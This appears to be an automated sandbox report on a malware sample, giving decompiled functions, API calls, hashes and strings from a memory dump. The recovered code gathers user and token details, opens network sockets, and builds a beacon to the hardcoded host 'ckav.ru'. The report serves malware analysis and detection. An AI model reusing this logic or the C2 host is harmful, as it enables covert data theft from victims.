Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction ID: cd86427636297e763c0a42ccb852711c5927781faf2e94d4e6bb5dc6023ef8f2
Opcode Fuzzy Hash: a7da28448db3172b96443927ad348f68214272ffe937b716ad81b86c5e2c6b81
Instruction Fuzzy Hash: 93C04C711842087BFE116ED1DC06F483E199B45B59F104011B71C2C0D1D9F3A6516559

Uniqueness

Uniqueness Score: -1.00%

Function 00404ED4, Relevance: 1.5, APIs: 1, Instructions: 9networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(00000000,00000000,00000FD0,00000000), ref: 00404EE2

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction ID: cd18cecc4e97c8ae47002f9e4185d290addc31a5a75b3629954b28b764c5713b
Opcode Fuzzy Hash: 21ce8f986ded34978476a8ad781d548340edbce2afa6bcd3c515a11396da2d1b
Instruction Fuzzy Hash: 6EC0483204020CFBCF025F81EC05BD93F2AFB48760F448020FA1818061C772A520AB88

Uniqueness

Uniqueness Score: -1.00%

Function 004061C3, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 151
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E004061C3(void* __eax, void* __ebx, void* __eflags) {
				int _v8;
				long _v12;
				int _v16;
				int _v20;
				char _v24;
				char _v28;
				char _v32;
				intOrPtr* _t25;
				int _t27;
				int _t30;
				int _t31;
				int _t36;
				int _t37;
				intOrPtr* _t39;
				int _t40;
				void* _t41;
				long _t44;
				intOrPtr* _t45;
				int _t46;
				void* _t48;
				int _t49;
				void* _t67;
				void* _t68;
				void* _t74;

				_t48 = __ebx;
				_t67 = 0;
				_v8 = 0;
				E00402BF2();
				_t68 = __eax;
				_t25 = E004031E5(__ebx, 9, 0xe87a9e93, 0, 0);
				_t2 =  &_v8; // 0x414449
				_push(1);
				_push(8);
				_push(_t68);
				if( *_t25() != 0) {
					L4:
					_t27 = E00402B7C(0x208);
					_v20 = _t27;
					__eflags = _t27;
					if(_t27 != 0) {
						E0040338C(_t27, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_push(_t48);
					_t49 = E00402B7C(0x208);
					__eflags = _t49;
					if(_t49 != 0) {
						E0040338C(_t49, _t67, 0x104);
						_t74 = _t74 + 0xc;
					}
					_v28 = 0x208;
					_v24 = 0x208;
					_t7 =  &_v8; // 0x414449
					_v12 = _t67;
					E004031E5(_t49, 9, 0xecae3497, _t67, _t67);
					_t30 = GetTokenInformation( *_t7, 1, _t67, _t67,  &_v12); // executed
					__eflags = _t30;
					if(_t30 == 0) {
						_t36 = E00402B7C(_v12);
						_v16 = _t36;
						__eflags = _t36;
						if(_t36 != 0) {
							_t14 =  &_v8; // 0x414449, executed
							_t37 = E00406086( *_t14, 1, _t36, _v12,  &_v12); // executed
							__eflags = _t37;
							if(_t37 != 0) {
								_t39 = E004031E5(_t49, 9, 0xc0862e2b, _t67, _t67);
								_t40 =  *_t39(_t67,  *_v16, _v20,  &_v28, _t49,  &_v24,  &_v32); // executed
								__eflags = _t40;
								if(__eflags != 0) {
									_t41 = E00405B6F(__eflags, L"%s", _t49); // executed
									_t67 = _t41;
								}
							}
							E00402BAB(_v16);
						}
					}
					__eflags = _v8;
					if(_v8 != 0) {
						E00403C40(_v8); // executed
					}
					__eflags = _t49;
					if(_t49 != 0) {
						E00402BAB(_t49);
					}
					_t31 = _v20;
					__eflags = _t31;
					if(_t31 != 0) {
						E00402BAB(_t31);
					}
					return _t67;
				}
				_t44 = GetLastError();
				if(_t44 == 0x3f0) {
					E004060AC();
					_t45 = E004031E5(__ebx, 9, 0xea792a5f, 0, 0);
					_t3 =  &_v8; // 0x414449
					_t46 =  *_t45(_t44, 8, _t3);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L2;
					}
					goto L4;
				}
				L2:
				return 0;
			}

0x004061c3
0x004061cb
0x004061cd
0x004061d0
0x004061de
0x004061e0
0x004061e5
0x004061e9
0x004061eb
0x004061ed
0x004061f2
0x0040622a
0x00406230
0x00406235
0x00406239
0x0040623b
0x00406244
0x00406249
0x00406249
0x0040624c
0x00406253
0x00406256
0x00406258
0x00406261
0x00406266
0x00406266
0x00406270
0x00406273
0x00406276
0x0040627b
0x0040627e
0x0040628c
0x0040628e
0x00406290
0x00406295
0x0040629a
0x0040629e
0x004062a0
0x004062ac
0x004062af
0x004062b7
0x004062b9
0x004062c9
0x004062e0
0x004062e2
0x004062e4
0x004062ec
0x004062f3
0x004062f3
0x004062e4
0x004062f8
0x004062fd
0x004062a0
0x004062fe
0x00406302
0x00406307
0x0040630c
0x0040630d
0x0040630f
0x00406312
0x00406317
0x00406318
0x0040631c
0x0040631e
0x00406321
0x00406326
0x00000000
0x00406327
0x004061f4
0x004061ff
0x00406208
0x00406218
0x0040621d
0x00406224
0x00406226
0x00406228
0x00000000
0x00000000
0x00000000
0x00406228
0x00406201
0x00000000

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,00414449), ref: 004061F4
_wmemset.LIBCMT ref: 00406244
_wmemset.LIBCMT ref: 00406261
GetTokenInformation.KERNELBASE(IDA,00000001,00000000,00000000,?,00000009,ECAE3497,00000000,00000000,00000000), ref: 0040628C

Strings

IDA, xrefs: 004061E5, 00406276, 004062AC, 0040621D, 004061E8, 00406220, 0040628B
IDA, xrefs: 00406304

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _wmemset$ErrorInformationLastToken
String ID: IDA$IDA
API String ID: 487585393-2020647798
Opcode ID: cd662bacda138fad525beeffca010871ee416c8799393d48ee72f9c5f8360390
Instruction ID: 96d4363135ba53d30ed73ccdf96fe48b30064626948d25b168d4296351bbaec2
Opcode Fuzzy Hash: cd662bacda138fad525beeffca010871ee416c8799393d48ee72f9c5f8360390
Instruction Fuzzy Hash: 6641B372900206BAEB10AFE69C46EEF7B7CDF95714F11007FF901B61C1EE799A108668

Uniqueness

Uniqueness Score: -1.00%

Function 00404E17, Relevance: 7.6, APIs: 5, Instructions: 72
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404E17(intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void _v40;
				void* _t23;
				signed int _t24;
				signed int* _t25;
				signed int _t30;
				signed int _t31;
				signed int _t33;
				signed int _t41;
				void* _t42;
				signed int* _t43;

				_v8 = _v8 & 0x00000000;
				_t33 = 8;
				memset( &_v40, 0, _t33 << 2);
				_v32 = 1;
				_t23 =  &_v40;
				_v28 = 6;
				_v36 = 2;
				__imp__getaddrinfo(_a4, _a8, _t23,  &_v8); // executed
				if(_t23 == 0) {
					_t24 = E00402B7C(4);
					_t43 = _t24;
					_t31 = _t30 | 0xffffffff;
					 *_t43 = _t31;
					_t41 = _v8;
					__imp__#23( *((intOrPtr*)(_t41 + 4)),  *((intOrPtr*)(_t41 + 8)),  *((intOrPtr*)(_t41 + 0xc)), _t42, _t30); // executed
					 *_t43 = _t24;
					if(_t24 != _t31) {
						__imp__#4(_t24,  *((intOrPtr*)(_t41 + 0x18)),  *((intOrPtr*)(_t41 + 0x10))); // executed
						if(_t24 == _t31) {
							E00404DE5(_t24,  *_t43);
							 *_t43 = _t31;
						}
						__imp__freeaddrinfo(_v8);
						if( *_t43 != _t31) {
							_t25 = _t43;
							goto L10;
						} else {
							E00402BAB(_t43);
							L8:
							_t25 = 0;
							L10:
							return _t25;
						}
					}
					E00402BAB(_t43);
					__imp__freeaddrinfo(_v8);
					goto L8;
				}
				return 0;
			}

0x00404e1d
0x00404e26
0x00404e2a
0x00404e2f
0x00404e37
0x00404e3a
0x00404e45
0x00404e4f
0x00404e57
0x00404e61
0x00404e66
0x00404e68
0x00404e6c
0x00404e6e
0x00404e7a
0x00404e80
0x00404e84
0x00404e9f
0x00404ea7
0x00404eab
0x00404eb1
0x00404eb1
0x00404eb6
0x00404ebe
0x00404ecb
0x00000000
0x00404ec0
0x00404ec1
0x00404ec7
0x00404ec7
0x00404ecd
0x00000000
0x00404ece
0x00404ebe
0x00404e87
0x00404e90
0x00000000
0x00404e90
0x00000000

APIs

getaddrinfo.WS2_32(00000000,00000001,?,00000000), ref: 00404E4F
socket.WS2_32(?,?,?), ref: 00404E7A
freeaddrinfo.WS2_32(00000000), ref: 00404E90

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: freeaddrinfogetaddrinfosocket
String ID:
API String ID: 2479546573-0
Opcode ID: 72e0338d38ad33957d38c9089103d94f386660c6381396b24b8f460aac80ca0e
Instruction ID: d63855dbb6a3d3c0c8ebf90f2bb9ce8455fd2b7eef63007fec5ba55d39dacf84
Opcode Fuzzy Hash: 72e0338d38ad33957d38c9089103d94f386660c6381396b24b8f460aac80ca0e
Instruction Fuzzy Hash: 9621BBB2500109FFCB106FA0ED49ADEBBB5FF88315F20453AF644B11A0C7399A919B98

Uniqueness

Uniqueness Score: -1.00%

Function 004040BB, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004040BB(void* __eflags, WCHAR* _a4, long* _a8, intOrPtr _a12) {
				struct _SECURITY_ATTRIBUTES* _v8;
				char _v12;
				long _v16;
				void* __ebx;
				void* __edi;
				void* _t16;
				intOrPtr* _t25;
				long* _t28;
				void* _t30;
				int _t32;
				intOrPtr* _t33;
				void* _t35;
				void* _t42;
				intOrPtr _t43;
				long _t44;
				struct _OVERLAPPED* _t46;

				_t46 = 0;
				_t35 = 0;
				E004031E5(0, 0, 0xe9fabb88, 0, 0);
				_t16 = CreateFileW(_a4, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_t42 = _t16;
				_v8 = _t42;
				if(_t42 == 0xffffffff) {
					__eflags = _a12;
					if(_a12 == 0) {
						L10:
						return _t35;
					}
					_t43 = E00403C90(_t42, L".tmp", 0, 0, 0x1a);
					__eflags = _t43;
					if(_t43 == 0) {
						goto L10;
					}
					_push(0);
					__eflags = E00403C59(_a4, _t43);
					if(__eflags != 0) {
						_v8 = 0;
						_t46 = E004040BB(__eflags, _t43,  &_v8, 0);
						_push(_t43);
						 *_a8 = _v8;
						E00403D44();
					}
					E00402BAB(_t43);
					return _t46;
				}
				_t25 = E004031E5(0, 0, 0xf9435d1e, 0, 0);
				_t44 =  *_t25(_t42,  &_v12);
				if(_v12 != 0 || _t44 > 0x40000000) {
					L8:
					_t45 = _v8;
					goto L9;
				} else {
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 = _t44;
					}
					E004031E5(_t35, _t46, 0xd4ead4e2, _t46, _t46);
					_t30 = VirtualAlloc(_t46, _t44, 0x1000, 4); // executed
					_t35 = _t30;
					if(_t35 == 0) {
						goto L8;
					} else {
						E004031E5(_t35, _t46, 0xcd0c9940, _t46, _t46);
						_t45 = _v8;
						_t32 = ReadFile(_v8, _t35, _t44,  &_v16, _t46); // executed
						if(_t32 == 0) {
							_t33 = E004031E5(_t35, _t46, 0xf53ecacb, _t46, _t46);
							 *_t33(_t35, _t46, 0x8000);
							_t35 = _t46;
						}
						L9:
						E00403C40(_t45); // executed
						goto L10;
					}
				}
			}

0x004040c4
0x004040ce
0x004040d0
0x004040e8
0x004040ea
0x004040ec
0x004040f2
0x0040418d
0x00404190
0x00404184
0x00000000
0x00404184
0x004041a0
0x004041a5
0x004041a7
0x00000000
0x00000000
0x004041a9
0x004041b6
0x004041b8
0x004041be
0x004041cb
0x004041d0
0x004041d1
0x004041d3
0x004041d8
0x004041dc
0x00000000
0x004041e2
0x00404100
0x0040410c
0x00404111
0x0040417a
0x0040417a
0x00000000
0x0040411b
0x0040411b
0x00404120
0x00404122
0x00404122
0x0040412c
0x0040413a
0x0040413c
0x00404140
0x00000000
0x00404142
0x0040414a
0x00404155
0x0040415a
0x0040415e
0x00404168
0x00404174
0x00404176
0x00404176
0x0040417d
0x0040417e
0x00000000
0x00404183
0x00404140

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,00000000), ref: 004040E8
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004,00000000,D4EAD4E2,00000000,00000000), ref: 0040413A
ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,CD0C9940,00000000,00000000), ref: 0040415A

Strings

.tmp, xrefs: 00404196

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AllocCreateReadVirtual
String ID: .tmp
API String ID: 3585551309-2986845003
Opcode ID: 3c21b548154e04a740e383bdfa5f0ec46f521fe53328019d1d2661260406abab
Instruction ID: b436c3373f33a6751ef3154d9799880e4ac32c23f8ae8b62b11f674aa4b57f97
Opcode Fuzzy Hash: 3c21b548154e04a740e383bdfa5f0ec46f521fe53328019d1d2661260406abab
Instruction Fuzzy Hash: 2C31F87150112477D721AE664C49FDF7E6CDFD67A4F10003AFA08BA2C1DA799B41C2E9

Uniqueness

Uniqueness Score: -1.00%

Function 00413866, Relevance: 4.6, APIs: 3, Instructions: 147
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00413866(void* __eflags) {
				short _v6;
				short _v8;
				short _v10;
				short _v12;
				short _v14;
				short _v16;
				short _v18;
				short _v20;
				short _v22;
				char _v24;
				short _v28;
				short _v30;
				short _v32;
				short _v34;
				short _v36;
				short _v38;
				short _v40;
				short _v42;
				short _v44;
				short _v46;
				char _v48;
				short _v52;
				short _v54;
				short _v56;
				short _v58;
				short _v60;
				short _v62;
				short _v64;
				short _v66;
				short _v68;
				short _v70;
				short _v72;
				short _v74;
				char _v76;
				void* __ebx;
				void* __edi;
				void* _t38;
				short _t43;
				short _t44;
				short _t45;
				short _t46;
				short _t47;
				short _t48;
				short _t50;
				short _t51;
				short _t52;
				short _t54;
				short _t55;
				intOrPtr* _t57;
				intOrPtr* _t59;
				intOrPtr* _t61;
				void* _t63;
				WCHAR* _t65;
				long _t68;
				void* _t75;
				short _t76;
				short _t78;
				short _t83;
				short _t84;
				short _t85;

				E00402C6C(_t38);
				E004031E5(_t75, 0, 0xd1e96fcd, 0, 0);
				SetErrorMode(3); // executed
				_t43 = 0x4f;
				_v76 = _t43;
				_t44 = 0x4c;
				_v74 = _t44;
				_t45 = 0x45;
				_v72 = _t45;
				_t46 = 0x41;
				_v70 = _t46;
				_t47 = 0x55;
				_v68 = _t47;
				_t48 = 0x54;
				_t76 = 0x33;
				_t84 = 0x32;
				_t83 = 0x2e;
				_t78 = 0x64;
				_t85 = 0x6c;
				_v66 = _t48;
				_v52 = 0;
				_t50 = 0x77;
				_v48 = _t50;
				_t51 = 0x73;
				_v46 = _t51;
				_t52 = 0x5f;
				_v42 = _t52;
				_v28 = 0;
				_t54 = 0x6f;
				_v24 = _t54;
				_t55 = 0x65;
				_v20 = _t55;
				_v64 = _t76;
				_v62 = _t84;
				_v60 = _t83;
				_v58 = _t78;
				_v56 = _t85;
				_v54 = _t85;
				_v44 = _t84;
				_v40 = _t76;
				_v38 = _t84;
				_v36 = _t83;
				_v34 = _t78;
				_v32 = _t85;
				_v30 = _t85;
				_v22 = _t85;
				_v18 = _t76;
				_v16 = _t84;
				_v14 = _t83;
				_v12 = _t78;
				_v10 = _t85;
				_v8 = _t85;
				_v6 = 0;
				_t57 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t57( &_v76);
				_t59 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				 *_t59( &_v48);
				_t61 = E004031E5(0, 0, 0xe811e8d4, 0, 0);
				_t81 =  &_v24;
				 *_t61( &_v24); // executed
				_t63 = E00414059(); // executed
				if(_t63 != 0) {
					_t65 = E00413D97(0);
					E004031E5(0, 0, 0xcf167df4, 0, 0);
					CreateMutexW(0, 1, _t65); // executed
					_t68 = GetLastError();
					_t92 = _t68 - 0xb7;
					if(_t68 == 0xb7) {
						E00413B81(0);
						_pop(_t81); // executed
					}
					E00413003(_t92); // executed
					E00412B2E(_t92); // executed
					E00412D31(_t81, _t84); // executed
					E00413B3F();
					E00413B81(0);
					 *0x49fdd0 = 1;
				}
				return 0;
			}

0x0041386f
0x0041387e
0x00413885
0x00413889
0x0041388c
0x00413890
0x00413893
0x00413897
0x0041389a
0x0041389e
0x004138a1
0x004138a5
0x004138a8
0x004138ac
0x004138af
0x004138b2
0x004138b5
0x004138b8
0x004138bb
0x004138bc
0x004138c4
0x004138c8
0x004138cb
0x004138cf
0x004138d2
0x004138d6
0x004138d7
0x004138df
0x004138e3
0x004138e4
0x004138ea
0x004138eb
0x004138f1
0x004138f5
0x004138f9
0x004138fd
0x00413901
0x00413905
0x00413909
0x0041390d
0x00413911
0x00413915
0x00413919
0x0041391d
0x00413921
0x00413925
0x00413929
0x0041392d
0x00413931
0x00413935
0x00413939
0x0041393d
0x00413941
0x00413950
0x00413959
0x0041395f
0x00413968
0x0041396e
0x00413973
0x00413977
0x00413979
0x00413980
0x00413982
0x00413991
0x0041399c
0x0041399e
0x004139a4
0x004139a9
0x004139ac
0x004139b1
0x004139b1
0x004139b2
0x004139b7
0x004139bc
0x004139c1
0x004139c7
0x004139cd
0x004139cd
0x004139db

APIs

SetErrorMode.KERNELBASE(00000003,00000000,D1E96FCD,00000000,00000000,00000000,00000000), ref: 00413885
CreateMutexW.KERNELBASE(00000000,00000001,00000000,00000000,CF167DF4,00000000,00000000), ref: 0041399C
GetLastError.KERNEL32 ref: 0041399E

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Error$CreateLastModeMutex
String ID:
API String ID: 3448925889-0
Opcode ID: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction ID: 7738172b6d33d5602fc402945caed90a0cea100ae195543e4e9fee3f6653e559
Opcode Fuzzy Hash: 5dd40e4cfd1fe52203b1fe5968f304513c4092ad3980e50a04d496178e49115f
Instruction Fuzzy Hash: 11415E61964348A8EB10ABF1AC82EFFA738EF54755F10641FF504F7291E6794A80836E

Uniqueness

Uniqueness Score: -1.00%

Function 004042CF, Relevance: 4.6, APIs: 3, Instructions: 60
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004042CF(void* __ebx, void* __eflags, WCHAR* _a4, void* _a8, long _a12) {
				long _v8;
				void* _t7;
				long _t10;
				void* _t21;
				struct _OVERLAPPED* _t24;

				_t14 = __ebx;
				_t24 = 0;
				_v8 = 0;
				E004031E5(__ebx, 0, 0xe9fabb88, 0, 0);
				_t7 = CreateFileW(_a4, 0xc0000000, 0, 0, 4, 0x80, 0); // executed
				_t21 = _t7;
				if(_t21 != 0xffffffff) {
					E004031E5(__ebx, 0, 0xeebaae5b, 0, 0);
					_t10 = SetFilePointer(_t21, 0, 0, 2); // executed
					if(_t10 != 0xffffffff) {
						E004031E5(_t14, 0, 0xc148f916, 0, 0);
						WriteFile(_t21, _a8, _a12,  &_v8, 0); // executed
						_t24 =  !=  ? 1 : 0;
					}
					E00403C40(_t21); // executed
				}
				return _t24;
			}

0x004042cf
0x004042d5
0x004042df
0x004042e2
0x004042f9
0x004042fb
0x00404300
0x0040430a
0x00404314
0x00404319
0x00404323
0x00404334
0x0040433b
0x0040433b
0x0040433f
0x00404344
0x0040434c

APIs

CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000004,00000080,00000000,00000000,E9FABB88,00000000,00000000,00000000,00000001,?,?,004146E2), ref: 004042F9
SetFilePointer.KERNELBASE(00000000,00000000,00000000,00000002,00000000,EEBAAE5B,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00404314
WriteFile.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,C148F916,00000000,00000000,?,?,004146E2,00000000,00000000,?,00000000), ref: 00404334

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$CreatePointerWrite
String ID:
API String ID: 3672724799-0
Opcode ID: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction ID: 60e70a0f6cedc7b52d1efda55ce7422740d02a59a4e71dca7f773cbcdc95941a
Opcode Fuzzy Hash: b52d99f42f68723aef5fd834f3fc6c8fdb7b2d5b4e411be9fbae0770ffe78be6
Instruction Fuzzy Hash: 2F014F315021343AD6356A679C0EEEF6D5DDF8B6B5F10422AFA18B60D0EA755B0181F8

Uniqueness

Uniqueness Score: -1.00%

Function 00412D31, Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 178
threadCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E00412D31(void* __ecx, void* __edi) {
				long _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				char _v40;
				void* __ebx;
				intOrPtr* _t10;
				void* _t11;
				void* _t25;
				void* _t26;
				void* _t27;
				void* _t35;
				void* _t53;
				char* _t57;
				void* _t58;
				void* _t61;
				void* _t64;
				void* _t65;
				intOrPtr* _t66;
				void* _t67;
				void* _t68;
				void* _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t53 = __ecx;
				_t10 =  *0x49fde0;
				_t68 = _t67 - 0x24;
				 *0x49fddc = 0x927c0;
				 *0x49fde4 = 0;
				_t75 = _t10;
				if(_t10 != 0) {
					L16:
					_push(1);
					_t11 = E004141A7(_t80,  *_t10,  *((intOrPtr*)(_t10 + 8))); // executed
					_t61 = _t11;
					_t68 = _t68 + 0xc;
					if(_t61 != 0) {
						E004031E5(0, 0, 0xfcae4162, 0, 0);
						CreateThread(0, 0, E0041289A, _t61, 0,  &_v8); // executed
					}
					L004067C4(0xea60); // executed
					_pop(_t53);
				} else {
					_push(__edi);
					 *0x49fde0 = E004056BF(0x2bc);
					E00413DB7(_t53, _t75,  &_v40);
					_t57 =  &_v24;
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					E004058D4( *0x49fde0, 0x12);
					E004058D4( *0x49fde0, 0x28);
					E00405872( *0x49fde0, "ckav.ru", 0, 0);
					_t69 = _t68 + 0x28;
					_t64 = E0040632F();
					_push(0);
					_push(1);
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						E00405872();
						_t70 = _t69 + 0x10;
					} else {
						_push(_t64);
						_push( *0x49fde0);
						E00405872();
						E00402BAB(_t64);
						_t70 = _t69 + 0x14;
					}
					_t58 = E00406130(_t57);
					_push(0);
					_push(1);
					_t77 = _t64;
					if(_t64 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t25 = E00405872();
						_t71 = _t70 + 0x10; // executed
					} else {
						_push(_t58);
						_push( *0x49fde0);
						E00405872();
						_t25 = E00402BAB(_t58);
						_t71 = _t70 + 0x14;
					}
					_t26 = E004061C3(_t25, 0, _t77); // executed
					_t65 = _t26;
					_push(0);
					_push(1);
					if(_t65 == 0) {
						_push(0);
						_push( *0x49fde0);
						_t27 = E00405872();
						_t72 = _t71 + 0x10;
					} else {
						_push(_t65);
						_push( *0x49fde0);
						E00405872();
						_t27 = E00402BAB(_t65);
						_t72 = _t71 + 0x14;
					}
					_t66 = E00406189(_t27);
					_t79 = _t66;
					if(_t66 == 0) {
						E00405781( *0x49fde0, 0);
						E00405781( *0x49fde0, 0);
						_t73 = _t72 + 0x10;
					} else {
						E00405781( *0x49fde0,  *_t66);
						E00405781( *0x49fde0,  *((intOrPtr*)(_t66 + 4)));
						E00402BAB(_t66);
						_t73 = _t72 + 0x14;
					}
					E004058D4( *0x49fde0, E004063B2(0, _t53, _t79));
					E004058D4( *0x49fde0, E004060BD(_t79)); // executed
					_t35 = E0040642C(_t79); // executed
					E004058D4( *0x49fde0, _t35);
					E004058D4( *0x49fde0, _v24);
					E004058D4( *0x49fde0, _v20);
					E004058D4( *0x49fde0, _v16);
					E004058D4( *0x49fde0, _v12);
					E00405872( *0x49fde0, E00413D97(0), 1, 0);
					_t68 = _t73 + 0x48;
				}
				_t80 =  *0x49fde4;
				if( *0x49fde4 == 0) {
					_t10 =  *0x49fde0;
					goto L16;
				}
				return E00405695(_t53,  *0x49fde0);
			}

0x00412d31
0x00412d34
0x00412d39
0x00412d3c
0x00412d49
0x00412d50
0x00412d52
0x00412f24
0x00412f24
0x00412f2b
0x00412f30
0x00412f32
0x00412f37
0x00412f41
0x00412f53
0x00412f53
0x00412f5b
0x00412f60
0x00412d58
0x00412d58
0x00412d63
0x00412d6c
0x00412d73
0x00412d7e
0x00412d7f
0x00412d80
0x00412d81
0x00412d82
0x00412d8f
0x00412da1
0x00412da6
0x00412dae
0x00412db0
0x00412db1
0x00412db5
0x00412dce
0x00412dcf
0x00412dd5
0x00412dda
0x00412db7
0x00412db7
0x00412db8
0x00412dbe
0x00412dc4
0x00412dc9
0x00412dc9
0x00412de2
0x00412de4
0x00412de5
0x00412de7
0x00412de9
0x00412e02
0x00412e03
0x00412e09
0x00412e0e
0x00412deb
0x00412deb
0x00412dec
0x00412df2
0x00412df8
0x00412dfd
0x00412dfd
0x00412e11
0x00412e17
0x00412e19
0x00412e1a
0x00412e1e
0x00412e37
0x00412e38
0x00412e3e
0x00412e43
0x00412e20
0x00412e20
0x00412e21
0x00412e27
0x00412e2d
0x00412e32
0x00412e32
0x00412e4b
0x00412e4d
0x00412e4f
0x00412e7e
0x00412e8a
0x00412e8f
0x00412e51
0x00412e59
0x00412e67
0x00412e6d
0x00412e72
0x00412e72
0x00412e9e
0x00412eaf
0x00412eb4
0x00412ec0
0x00412ece
0x00412edc
0x00412eea
0x00412ef8
0x00412f0f
0x00412f14
0x00412f14
0x00412f17
0x00412f1d
0x00412f1f
0x00000000
0x00412f1f
0x00412f74

APIs

CreateThread.KERNELBASE(00000000,00000000,0041289A,00000000,00000000,?,00000000,FCAE4162,00000000,00000000,?,?,?,?,00000001,00000000), ref: 00412F53

Part of subcall function 0040632F: _wmemset.LIBCMT ref: 0040634F

Part of subcall function 00402BAB: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
Part of subcall function 00402BAB: RtlFreeHeap.NTDLL(00000000), ref: 00402BC0

Strings

ckav.ru, xrefs: 00412D96

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$CreateFreeProcessThread_wmemset
String ID: ckav.ru
API String ID: 2915393847-2696028687
Opcode ID: d166330210f886f258cea0f95f040112802ba461a537879de6ad45a462bfc85e
Instruction ID: 4531c2d42d5f5f74382d08a8027233dc497c0745a20cb628f46216a694decd77
Opcode Fuzzy Hash: d166330210f886f258cea0f95f040112802ba461a537879de6ad45a462bfc85e
Instruction Fuzzy Hash: 7751B7728005047EEA113B62DD4ADEB3669EB2034CB54423BFC06B51B2E67A4D74DBED

Uniqueness

Uniqueness Score: -1.00%

Function 0040632F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040632F() {
				char _v8;
				void* _t4;
				void* _t7;
				void* _t16;

				_t16 = E00402B7C(0x208);
				if(_t16 == 0) {
					L4:
					_t4 = 0;
				} else {
					E0040338C(_t16, 0, 0x104);
					_t1 =  &_v8; // 0x4143e8
					_v8 = 0x208;
					_t7 = E00406069(_t16, _t1); // executed
					if(_t7 == 0) {
						E00402BAB(_t16);
						goto L4;
					} else {
						_t4 = _t16;
					}
				}
				return _t4;
			}

0x00406340
0x00406345
0x00406373
0x00406373
0x00406347
0x0040634f
0x00406354
0x00406357
0x0040635c
0x00406366
0x0040636d
0x00000000
0x00406368
0x00406368
0x00406368
0x00406366
0x0040637a

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

_wmemset.LIBCMT ref: 0040634F

Part of subcall function 00406069: GetUserNameW.ADVAPI32(?,?,00000009,D4449184,00000000,00000000,?,00406361,00000000,CA,00000000,00000000,00000104,00000000,00000032), ref: 00406082

Strings

CA, xrefs: 00406354, 0040635A

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser_wmemset
String ID: CA
API String ID: 2078537776-1052703068
Opcode ID: ea15dbf965de6c39536eadaef71d36bb12a2dd1a9f609459e064ebb7523f79d3
Instruction ID: fc433e2548431d42ded6bbe1dab57db4bffb986d933035261d01f02eae51e62b
Opcode Fuzzy Hash: ea15dbf965de6c39536eadaef71d36bb12a2dd1a9f609459e064ebb7523f79d3
Instruction Fuzzy Hash: 0FE09B62A4511477D121A9665C06EAF76AC8F41B64F11017FFC05B62C1E9BC9E1101FD

